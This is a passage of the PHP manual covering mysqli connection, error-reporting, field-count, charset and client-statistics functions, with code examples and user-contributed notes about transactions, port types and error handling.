                    // statement
                }
?>
mvanlamz 31-Mar-2009 11:36
Please note that calling mysqli::commit() will NOT automatically set mysqli::autocommit() back to 'true'.

This means that any queries following mysqli::commit() will be rolled back when your script exits.
Lorenzo - webmaster AT 4tour DOT it 11-Feb-2009 03:12
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!
mysqli::close
mysqli::$connect_errno
mysqli


Returns the error code from last connect call

mysqli::commit
mysqli::$connect_error
mysqli
PHP Manual

mysqli::$connect_errno

mysqli_connect_errno

(PHP 5)

mysqli::$connect_errno -- mysqli_connect_errno — Returns the error code from last connect call

Description

Object oriented style

string $mysqli->connect_errno;

Procedural style

int mysqli_connect_errno ( void )

Returns the last error code number from the last call to mysqli_connect().

Note:

Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

Return Values

An error code value for the last call to mysqli_connect(), if it failed. zero means no error occurred.

Examples

Example #1 $mysqli->connect_errno example

Object oriented style

<?php
$mysqli = @new mysqli('localhost', 'fake_user', 'my_password', 'my_db');

if ($mysqli->connect_errno) {
    die('Connect Error: ' . $mysqli->connect_errno);
}
?>

Procedural style

<?php
$link = @mysqli_connect('localhost', 'fake_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error: ' . mysqli_connect_errno());
}
?>

The above examples will output:

Connect Error: 1045

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.
mysqli::commit
mysqli::$connect_error
mysqli


Returns a string description of the last connect error

mysqli::$connect_errno
mysqli::__construct
mysqli
PHP Manual

mysqli::$connect_error

mysqli_connect_error

(PHP 5)

mysqli::$connect_error -- mysqli_connect_error — Returns a string description of the last connect error

Description

Object oriented style

string $mysqli->connect_error;

Procedural style

string mysqli_connect_error ( void )

Returns the last error message string from the last call to mysqli_connect().

Return Values

A string that describes the error. NULL is returned if no error occurred.

Examples

Example #1 $mysqli->connect_error example

Object oriented style

<?php
$mysqli = @new mysqli('localhost', 'fake_user', 'my_password', 'my_db');

// Works as of PHP 5.2.9 and 5.3.0.
if ($mysqli->connect_error) {
    die('Connect Error: ' . $mysqli->connect_error);
}
?>

Procedural style

<?php
$link = @mysqli_connect('localhost', 'fake_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error: ' . mysqli_connect_error());
}
?>

The above examples will output:

Connect Error: Access denied for user 'fake_user'@'localhost' (using password: YES)

Notes

Warning

The mysqli->connect_error property only works properly as of PHP versions 5.2.9 and 5.3.0. Use the mysqli_connect_error() function if compatibility with earlier PHP versions is required.

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$connect_errno
mysqli::__construct
mysqli


Open a new connection to the MySQL server

mysqli::$connect_error
mysqli::debug
mysqli
PHP Manual

mysqli::__construct

mysqli_connect

(PHP 5)

mysqli::__construct -- mysqli_connect — Open a new connection to the MySQL server

Description

Object oriented style

  mysqli::__construct()
  ([ string $host = ini_get("mysqli.default_host")
 [, string $username = ini_get("mysqli.default_user")
 [, string $passwd = ini_get("mysqli.default_pw")
 [, string $dbname = ""
 [, int $port = ini_get("mysqli.default_port")
 [, string $socket = ini_get("mysqli.default_socket")
]]]]]] )

Procedural style

 mysqli mysqli_connect
  ([ string $host = ini_get("mysqli.default_host")
 [, string $username = ini_get("mysqli.default_user")
 [, string $passwd = ini_get("mysqli.default_pw")
 [, string $dbname = ""
 [, int $port = ini_get("mysqli.default_port")
 [, string $socket = ini_get("mysqli.default_socket")
]]]]]] )

Opens a connection to the MySQL Server running on.

Parameters

host

Can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol.

Prepending host by p: opens a persistent connection. mysqli_change_user() is automatically called on connections opened from the connection pool.

username

The MySQL user name.

passwd

If not provided or NULL, the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

dbname

If provided will specify the default database to be used when performing queries.

port

Specifies the port number to attempt to connect to the MySQL server.

socket

Specifies the socket or named pipe that should be used.

Note:

Specifying the socket parameter will not explicitly determine the type of connection to be used when connecting to the MySQL server. How the connection is made to the MySQL database is determined by the host parameter.

Return Values

Returns an object which represents the connection to a MySQL Server.

Changelog

Version | Description
5.3.0 | Added the ability of persistent connections.

Examples

Example #1 mysqli::__construct() example

Object oriented style

<?php
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');

/*
 * This is the "official" OO way to do it,
 * BUT $connect_error was broken until PHP 5.2.9 and 5.3.0.
 */
if ($mysqli->connect_error) {
    die('Connect Error (' . $mysqli->connect_errno . ') '
            . $mysqli->connect_error);
}

/*
 * Use this instead of $connect_error if you need to ensure
 * compatibility with PHP versions prior to 5.2.9 and 5.3.0.
 */
if (mysqli_connect_error()) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . $mysqli->host_info . "\n";

$mysqli->close();
?>

Object oriented style when extending mysqli class

<?php

class foo_mysqli extends mysqli {
    public function __construct($host, $user, $pass, $db) {
        parent::__construct($host, $user, $pass, $db);

        if (mysqli_connect_error()) {
            die('Connect Error (' . mysqli_connect_errno() . ') '
                    . mysqli_connect_error());
        }
    }
}

$db = new foo_mysqli('localhost', 'my_user', 'my_password', 'my_db');

echo 'Success... ' . $db->host_info . "\n";

$db->close();
?>

Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . mysqli_get_host_info($link) . "\n";

mysqli_close($link);
?>

The above examples will output:

Success... MySQL host info: localhost via TCP/IP

Notes

Note:

MySQLnd always assumes the server default charset. This charset is sent during connection hand-shake/authentication, which mysqlnd will use.

Libmysql uses the default charset set in the my.cnf or by an explicit call to mysqli_options() prior to calling mysqli_real_connect(), but after mysqli_init().

Note:

OO syntax only: If a connection fails an object is still returned. To check if the connection failed then use either the mysqli_connect_error() function or the mysqli->connect_error property as in the preceding examples.

Note:

If it is necessary to set options, such as the connection timeout, mysqli_real_connect() must be used instead.

Note:

Calling the constructor with no parameters is the same as calling mysqli_init().

Note:

Error "Can't create TCP/IP socket (10106)" usually means that the variables_order configure directive doesn't contain character E. On Windows, if the environment is not copied the SYSTEMROOT environment variable won't be available and PHP will have problems loading Winsock.

See Also

  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_options() - Set options
  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_close() - Closes a previously opened database connection

User Contributed Notes

boukeversteegh at gmail dot com 18-Apr-2011 06:19
(php 5.3.3)

If $port is a string, such as "3306", mysqli::query() will not work, even though mysqli_connect_errno() reports no error (value 0)!

<?php
$mysqli = new mysqli("localhost", "user","password","database", "3306"); //port is a string!
$mysqli->query("SELECT 1;")->fetch_assoc();
// Fatal error: Call to a member function fetch_assoc() on a non-object
?>

This is particularly strange, since mysqli::query() should return a result object, or a boolean.

So, be careful when you read your port from a string or config file. Cast it to int first:
<?php
$port = (int)$port;
?>
Anonymous 13-Sep-2009 05:37
If you get an error like
  Can't connect to MySQL server on 'localhost' (10061)
and you use named pipes/socket connections (or aren't sure how you installed the MySQL server) try the following connect command:

<?php
mysqli_connect('.', $user_name, $password, $database_name, null, 'mysql');
?>

The '.' as hostname is absolutely necessary when using named pipes. 'localhost' won't work. 'mysql' is the standard name for the pipe/socket.
Slavyansk2.ru 25-Sep-2008 10:14
If you have error like "Trying to clone an uncloneable object of class..." when trying connect, add record

php_value zend.ze1_compatibility_mode 0

in your .htaccess file. This resolve connection problem.
chip1977 at mail dot ru 28-Jan-2008 04:52
To specify charset in my.cnf file you just have to add
skip-character-set-client-handshake directive after
[mysqld]
default-character-set=utf8
mysqli::$connect_error
mysqli::debug
mysqli


Performs debugging operations

mysqli::__construct
mysqli::disable_reads_from_master
mysqli
PHP Manual

mysqli::debug

mysqli_debug

(PHP 5)

mysqli::debug -- mysqli_debug — Performs debugging operations

Description

Object oriented style

bool mysqli::debug ( string $message )

Procedural style

bool mysqli_debug ( string $message )

Performs debugging operations using the Fred Fish debugging library.

Parameters

message

A string representing the debugging operation to perform

Return Values

Returns TRUE.

Notes

Note:

To use the mysqli_debug() function you must compile the MySQL client library to support debugging.

Examples

Example #1 Generating a Trace File

<?php

/* Create a trace file in '/tmp/client.trace' on the local (client) machine: */
mysqli_debug("d:t:o,/tmp/client.trace");

?>

See Also

  • mysqli_dump_debug_info() - Dump debugging information into the log
  • mysqli_report() - Enables or disables internal report functions

User Contributed Notes

There are no user contributed notes for this page.
mysqli::__construct
mysqli::disable_reads_from_master
mysqli


Disable reads from master

mysqli::debug
mysqli::dump_debug_info
mysqli
PHP Manual

mysqli::disable_reads_from_master

mysqli_disable_reads_from_master

(PHP 5)

mysqli::disable_reads_from_master -- mysqli_disable_reads_from_master — Disable reads from master

Description

Object oriented style

void mysqli::disable_reads_from_master ( void )

Procedural style

bool mysqli_disable_reads_from_master ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli::debug
mysqli::dump_debug_info
mysqli


Dump debugging information into the log

mysqli::disable_reads_from_master
mysqli::$errno
mysqli
PHP Manual

mysqli::dump_debug_info

mysqli_dump_debug_info

(PHP 5)

mysqli::dump_debug_info -- mysqli_dump_debug_info — Dump debugging information into the log

Description

Object oriented style

bool mysqli::dump_debug_info ( void )

Procedural style

bool mysqli_dump_debug_info ( mysqli $link )

This function is designed to be executed by an user with the SUPER privilege and is used to dump debugging information into the log for the MySQL Server relating to the connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_debug() - Performs debugging operations

User Contributed Notes

There are no user contributed notes for this page.
mysqli::disable_reads_from_master
mysqli::$errno
mysqli


Returns the error code for the most recent function call

mysqli::dump_debug_info
mysqli::$error
mysqli
PHP Manual

mysqli::$errno

mysqli_errno

(PHP 5)

mysqli::$errno -- mysqli_errno — Returns the error code for the most recent function call

Description

Object oriented style

int $mysqli->errno;

Procedural style

int mysqli_errno ( mysqli $link )

Returns the last error code for the most recent MySQLi function call that can succeed or fail.

Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An error code value for the last call, if it failed. zero means no error occurred.

Examples

Example #1 $mysqli->errno example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Errorcode: %d\n", $mysqli->errno);
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Errorcode: %d\n", mysqli_errno($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Errorcode: 1193

See Also

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.
mysqli::dump_debug_info
mysqli::$error
mysqli


Returns a string description of the last error

mysqli::$errno
mysqli::$field_count
mysqli
PHP Manual

mysqli::$error

mysqli_error

(PHP 5)

mysqli::$error -- mysqli_error — Returns a string description of the last error

Description

Object oriented style

string $mysqli->error;

Procedural style

string mysqli_error ( mysqli $link )

Returns the last error message for the most recent MySQLi function call that can succeed or fail.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 $mysqli->error example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Errormessage: %s\n", $mysqli->error);
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Errormessage: %s\n", mysqli_error($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Errormessage: Unknown system variable 'a'

See Also

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

jlarsen at fsu dot edu 28-Mar-2010 01:21
try/catch on $mysqli->query
doesn't catch most SQL errors, you should use $mysqli->error
se (at) brainbits (dot) net 20-Apr-2006 05:22
The decription "mysqli_error -- Returns a string description of the LAST error" is not exactly that what you get from mysqli_error. You get the error description from the last mysqli-function, not from the last mysql-error.

If you have the following situation

if (!$mysqli->query("SET a=1")) {
   $mysqli->query("ROLLBACK;")
   printf("Errormessage: %s\n", $mysqli->error);
}

you don't get an error-message, if the ROLLBACK-Query didn't failed, too. In order to get the right error-message you have to write:

if (!$mysqli->query("SET a=1")) {
   printf("Errormessage: %s\n", $mysqli->error);
   $mysqli->query("ROLLBACK;")
}
information at saunderswebsolutions dot com 24-Jan-2006 02:37
The mysqli_sql_exception class is not available to PHP 5.05

I used this code to catch errors
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$res) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>
The problem with this is that valid values for $res are: a mysqli_result object , true or false
This doesn't tell us that there has been an error with the sql used.
If you pass an update statement, false is a valid result if the update fails.

So, a better way is:
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$mysqli->error) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>

This would output something like:
Unexpected PHP error [mysqli::query() [<a href='function.query'>function.query</a>]: (42S22/1054): Unknown column 'XXname' in 'field list'] severity [E_WARNING] in [G:\database.php] line [249]

Very frustrating as I wanted to also catch the sql error and print out the stack trace.

A better way is:

<?php
mysqli_report(MYSQLI_REPORT_OFF); //Turn off irritating default messages

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if ($mysqli->error) {
    try {
        throw new Exception("MySQL error $mysqli->error <br> Query:<br> $query", $msqli->errno);
    } catch(Exception $e ) {
        echo "Error No: ".$e->getCode(). " - ". $e->getMessage() . "<br >";
        echo nl2br($e->getTraceAsString());
    }
}

//Do stuff with the result
?>
Prints out something like:
Error No: 1054
Unknown column 'XXname' in 'field list'
Query:
SELECT XXname FROM customer_table

#0 G:\\database.php(251): database->dbError('Unknown column ...', 1054, 'getQuery()', 'SELECT XXname F...')
#1 G:\data\WorkSites\1framework5\tests\dbtest.php(29): database->getString('SELECT XXname F...')
#2 c:\PHP\includes\simpletest\runner.php(58): testOfDB->testGetVal()
#3 c:\PHP\includes\simpletest\runner.php(96): SimpleInvoker->invoke('testGetVal')
#4 c:\PHP\includes\simpletest\runner.php(125): SimpleInvokerDecorator->invoke('testGetVal')
#5 c:\PHP\includes\simpletest\runner.php(183): SimpleErrorTrappingInvoker->invoke('testGetVal')
#6 c:\PHP\includes\simpletest\simple_test.php(90): SimpleRunner->run()
#7 c:\PHP\includes\simpletest\simple_test.php(498): SimpleTestCase->run(Object(HtmlReporter))
#8 c:\PHP\includes\simpletest\simple_test.php(500): GroupTest->run(Object(HtmlReporter))
#9 G:\all_tests.php(16): GroupTest->run(Object(HtmlReporter))

This will actually print out the error, a stack trace and the offending sql statement. Much more helpful when the sql statement is generated somewhere else in the code.
information at saunderswebsolutions dot com 13-Jan-2006 02:52
Hi, you can also use the new mysqli_sql_exception to catch sql errors.
Example:
<?php
//set up $mysqli_instance here..
$Select = "SELECT xyz FROM mytable ";
try {
    $res = $mysqli_instance->query($Select);
}catch (mysqli_sql_exception $e) {
    print "Error Code <br>".$e->getCode();
    print "Error Message <br>".$e->getMessage();
    print "Strack Trace <br>".nl2br($e->getTraceAsString());
}

?>
Will print out something like
Error Code: 0
Error Message
No index used in query/prepared statement select sess_value from frame_sessions where sess_name = '5b85upjqkitjsostvs6g9rkul1'
Strack Trace:
#0 G:\classfiles\lib5\database.php(214): mysqli->query('select sess_val...')
#1 G:\classfiles\lib5\Session.php(52): database->getString('select sess_val...')
#2 [internal function]: sess_read('5b85upjqkitjsos...')
#3 G:\classfiles\includes.php(50): session_start()
#4 G:\tests\all_tests.php(4): include('G:\data\WorkSit...')
#5 {main}
mysqli::$errno
mysqli::$field_count
mysqli


Returns the number of columns for the most recent query

mysqli::$error
mysqli::get_charset
mysqli
PHP Manual

mysqli::$field_count

mysqli_field_count

(PHP 5)

mysqli::$field_count -- mysqli_field_count — Returns the number of columns for the most recent query

Description

Object oriented style

int $mysqli->field_count;

Procedural style

int mysqli_field_count ( mysqli $link )

Returns the number of columns for the most recent query on the connection represented by the link parameter. This function can be useful when using the mysqli_store_result() function to determine if the query should have produced a non-empty result set or not without knowing the nature of the query.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An integer representing the number of fields in a result set.

Examples

Example #1 $mysqli->field_count example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query( "DROP TABLE IF EXISTS friends");
$mysqli->query( "CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query( "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$mysqli->real_query("SELECT * FROM friends");

if ($mysqli->field_count) {
    /* this was a select/show or describe query */
    $result = $mysqli->store_result();

    /* process resultset */
    $row = $result->fetch_row();

    /* free resultset */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

mysqli_real_query($link, "SELECT * FROM friends");

if (mysqli_field_count($link)) {
    /* this was a select/show or describe query */
    $result = mysqli_store_result($link);

    /* process resultset */
    $row = mysqli_fetch_row($result);

    /* free resultset */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

User Contributed Notes

Jonathan 06-Mar-2007 03:43
Some corrections ;o)

$mysqli_type = array();
$mysqli_type[0] = "DECIMAL";
$mysqli_type[1] = "TINYINT";
$mysqli_type[2] = "SMALLINT";
$mysqli_type[3] = "INTEGER";
$mysqli_type[4] = "FLOAT";
$mysqli_type[5] = "DOUBLE";

$mysqli_type[7] = "TIMESTAMP";
$mysqli_type[8] = "BIGINT";
$mysqli_type[9] = "MEDIUMINT";
$mysqli_type[10] = "DATE";
$mysqli_type[11] = "TIME";
$mysqli_type[12] = "DATETIME";
$mysqli_type[13] = "YEAR";
$mysqli_type[14] = "DATE";

$mysqli_type[16] = "BIT";

$mysqli_type[246] = "DECIMAL";
$mysqli_type[247] = "ENUM";
$mysqli_type[248] = "SET";
$mysqli_type[249] = "TINYBLOB";
$mysqli_type[250] = "MEDIUMBLOB";
$mysqli_type[251] = "LONGBLOB";
$mysqli_type[252] = "BLOB";
$mysqli_type[253] = "VARCHAR";
$mysqli_type[254] = "CHAR";
$mysqli_type[255] = "GEOMETRY";
Typer85 at gmail dot com 02-Jan-2007 08:33
For those interested and to clarify the Manual Entry.

For query statements that are DESIGNED to return a result set of some sort, this function will always return the number of fields in the table that was queried.

I said DESIGNED because the return value has no effect on whether or not the actual query matched any rows or not.

For example, say I have a table that has 2 fields and only 10 rows. I issue the following query:

<?php

// Assume Connection Blah Blah.

mysqli_query( $connObject , "Select * From `table` Where `Id` > 1000");

// Get Number Of Fields.

mysqli_field_count( $connObject );

// Will Return 2 --> The Number of fields in the table!

?>

It is quite clear that the query itself will never return a result set because I asked it to return rows which have an Id over 1000 and there are only 10 rows.

But because the nature of the query itself is to return a result set, the field count is always returned no matter what.

In contrast, if the query does anything that does not return a result set by nature, such as an insert or update, the field count will always be 0.

Hence, you can easily determine the nature of this query dynamically using these return values.

Good Luck,

?>
dedlfix 18-Jul-2006 10:26
There are MYSQLI_TYPE_* constants for the type property (listed in http://php.net/manual/en/ref.mysqli.php).

e.g.
<?php
if ($finfo->type == MYSQLI_TYPE_VAR_STRING)
  // a VARCHAR
jakerosoft at hotmail dot com 16-Aug-2005 09:15
<?
$fieldinfo = $result->fetch_field();
if ($fieldinfo & MYSQLI_NOT_NULL_FLAG)  {
  print "not null flag is set";
} else {
  print "not null flag is NOT set";
}
?>
Marc-André 07-Jul-2005 03:56
The "type" property will return a numerical representation of a field type instead of a "meaningful" string.

Here is an array that may help you:

<?php
$mysqli_type = array();
$mysqli_type[0] = "decimal";
$mysqli_type[1] = "tinyint";
$mysqli_type[2] = "smallint";
$mysqli_type[3] = "int";
$mysqli_type[4] = "float";
$mysqli_type[5] = "double";
$mysqli_type[7] = "timestamp";
$mysqli_type[8] = "bigint";
$mysqli_type[9] = "mediumint";
$mysqli_type[10] = "date";
$mysqli_type[11] = "time";
$mysqli_type[12] = "datetime";
$mysqli_type[13] = "year";
$mysqli_type[252] = "blob"; // text, blob, tinyblob,mediumblob, etc...
$mysqli_type[253] = "string"; // varchar and char
$mysqli_type[254] = "enum";
?>
mysqli::$error
mysqli::get_charset
mysqli


Returns a character set object

mysqli::$field_count
mysqli::get_client_info
mysqli
PHP Manual

mysqli::get_charset

mysqli_get_charset

(PHP 5 >= 5.1.0)

mysqli::get_charset -- mysqli_get_charset — Returns a character set object

Description

Object oriented style

object mysqli::get_charset ( void )

Procedural style

object mysqli_get_charset ( mysqli $link )

Returns a character set object providing several properties of the current active character set.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

The function returns a character set object with the following properties:

charset

Character set name

collation

Collation name

dir

Directory the charset description was fetched from (?) or "" for built-in character sets

min_length

Minimum character length in bytes

max_length

Maximum character length in bytes

number

Internal character set number

state

Character set status (?)

Examples

Example #1 mysqli::get_charset() example

Object oriented style

<?php
  $db = mysqli_init();
  $db->real_connect("localhost","root","","test");
  var_dump($db->get_charset());
?>

Procedural style

<?php
  $db = mysqli_init();
  mysqli_real_connect($db, "localhost","root","","test");
  var_dump($db->get_charset());
?>

The above examples will output:

object(stdClass)#2 (7) {
  ["charset"]=>
  string(6) "latin1"
  ["collation"]=>
  string(17) "latin1_swedish_ci"
  ["dir"]=>
  string(0) ""
  ["min_length"]=>
  int(1)
  ["max_length"]=>
  int(1)
  ["number"]=>
  int(8)
  ["state"]=>
  int(801)
}

See Also

  • mysqli_character_set_name() - Returns the default character set for the database connection
  • mysqli_set_charset() - Sets the default client character set

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$field_count
mysqli::get_client_info
mysqli


Returns the MySQL client version as a string

mysqli::get_charset
mysqli_get_client_stats
mysqli
PHP Manual

mysqli::get_client_info

mysqli_get_client_info

(PHP 5)

mysqli::get_client_info -- mysqli_get_client_info — Returns the MySQL client version as a string

Description

Object oriented style

string mysqli::get_client_info ( void )

Procedural style

string mysqli_get_client_info ( mysqli $link )

Returns a string that represents the MySQL client library version.

Return Values

A string that represents the MySQL client library version

Examples

Example #1 mysqli_get_client_info

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %s\n", mysqli_get_client_info());
?>

See Also

  • mysqli_get_client_version() - Get MySQL client info
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.
mysqli::get_charset
mysqli_get_client_stats
mysqli


Returns client per-process statistics

mysqli::get_client_info
mysqli::$client_version
mysqli
PHP Manual

mysqli_get_client_stats

(PHP 5 >= 5.3.0)

mysqli_get_client_stats — Returns client per-process statistics

Description

array mysqli_get_client_stats ( void )

Returns client per-process statistics. Available only with mysqlnd.

Parameters

Return Values

Returns an array with client stats if success, FALSE otherwise.

Examples

Example #1 A mysqli_get_client_stats() example

<?php
$link = mysqli_connect();
print_r(mysqli_get_client_stats());
?>

The above example will output something similar to:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
